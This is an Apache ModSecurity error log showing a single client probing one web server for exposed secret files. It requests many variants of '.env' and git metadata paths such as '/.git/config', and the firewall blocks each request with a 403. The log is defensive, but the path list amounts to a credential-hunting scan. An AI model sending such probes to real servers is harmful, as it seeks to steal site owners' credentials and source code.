[Tue Oct 27 08:28:04.687940 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auCY1HOijkS-hyCWJGdJ-wAAAAI"]
[Tue Oct 27 08:28:04.707297 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCY1G_oZ855J3-bmxEqkQAAAAY"]
[Tue Oct 27 08:28:04.707511 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCY1G_oZ855J3-bmxEqkQAAAAY"]
[Tue Oct 27 08:28:04.707836 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCY1G_oZ855J3-bmxEqkQAAAAY"]
[Tue Oct 27 08:28:04.718021 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCY1D4THoroSjopRdUAwQAAAAE"]
[Tue Oct 27 08:28:04.718207 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCY1D4THoroSjopRdUAwQAAAAE"]
[Tue Oct 27 08:28:04.718463 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCY1D4THoroSjopRdUAwQAAAAE"]
[Tue Oct 27 08:28:04.739036 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auCY1I0JjhEi1NzVi4XsigAAAAc"]
[Tue Oct 27 08:28:04.739283 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auCY1I0JjhEi1NzVi4XsigAAAAc"]
[Tue Oct 27 08:28:04.739599 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auCY1I0JjhEi1NzVi4XsigAAAAc"]
[Tue Oct 27 08:28:04.740045 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCY1AHzNpgY2H50otlpzwAAAAg"]
[Tue Oct 27 08:28:04.740204 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCY1AHzNpgY2H50otlpzwAAAAg"]
[Tue Oct 27 08:28:04.740433 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCY1AHzNpgY2H50otlpzwAAAAg"]
[Tue Oct 27 08:28:04.740772 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCY1AJ0bI7Z9n11TMADcQAAAAA"]
[Tue Oct 27 08:28:04.740901 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCY1AJ0bI7Z9n11TMADcQAAAAA"]
[Tue Oct 27 08:28:04.741140 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCY1AJ0bI7Z9n11TMADcQAAAAA"]
[Tue Oct 27 08:28:04.751789 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCY1GUNDY12-2npPMSGJwAAAAo"]
[Tue Oct 27 08:28:04.751927 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCY1GUNDY12-2npPMSGJwAAAAo"]
[Tue Oct 27 08:28:04.752246 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCY1GUNDY12-2npPMSGJwAAAAo"]
[Tue Oct 27 08:28:04.755802 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auCY1A0kN5bHfPWi5uxztQAAAAU"]
[Tue Oct 27 08:28:04.755944 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auCY1A0kN5bHfPWi5uxztQAAAAU"]
[Tue Oct 27 08:28:04.756194 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auCY1A0kN5bHfPWi5uxztQAAAAU"]
[Tue Oct 27 08:28:04.761852 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auCY1JekxYBRCO5jo1OI5AAAABA"]
[Tue Oct 27 08:28:04.761995 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auCY1JekxYBRCO5jo1OI5AAAABA"]
[Tue Oct 27 08:28:04.762266 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auCY1JekxYBRCO5jo1OI5AAAABA"]
[Tue Oct 27 08:28:04.762989 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCY1HOijkS-hyCWJGdJ_AAAAAI"]
[Tue Oct 27 08:28:04.763135 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCY1HOijkS-hyCWJGdJ_AAAAAI"]
[Tue Oct 27 08:28:04.763378 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCY1HOijkS-hyCWJGdJ_AAAAAI"]
[Tue Oct 27 08:28:04.794179 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCY1D4THoroSjopRdUAwgAAAAE"]
[Tue Oct 27 08:28:04.794386 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCY1D4THoroSjopRdUAwgAAAAE"]
[Tue Oct 27 08:28:04.794728 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCY1D4THoroSjopRdUAwgAAAAE"]
[Tue Oct 27 08:28:04.815357 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auCY1I0JjhEi1NzVi4XsiwAAAAc"]
[Tue Oct 27 08:28:04.815575 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auCY1I0JjhEi1NzVi4XsiwAAAAc"]
[Tue Oct 27 08:28:04.815920 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auCY1I0JjhEi1NzVi4XsiwAAAAc"]
[Tue Oct 27 08:28:04.816140 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCY1AJ0bI7Z9n11TMADcgAAAAA"]
[Tue Oct 27 08:28:04.816285 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCY1AJ0bI7Z9n11TMADcgAAAAA"]
[Tue Oct 27 08:28:04.816504 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCY1AJ0bI7Z9n11TMADcgAAAAA"]
[Tue Oct 27 08:28:04.816862 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCY1AHzNpgY2H50otlp0AAAAAg"]
[Tue Oct 27 08:28:04.816988 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCY1AHzNpgY2H50otlp0AAAAAg"]
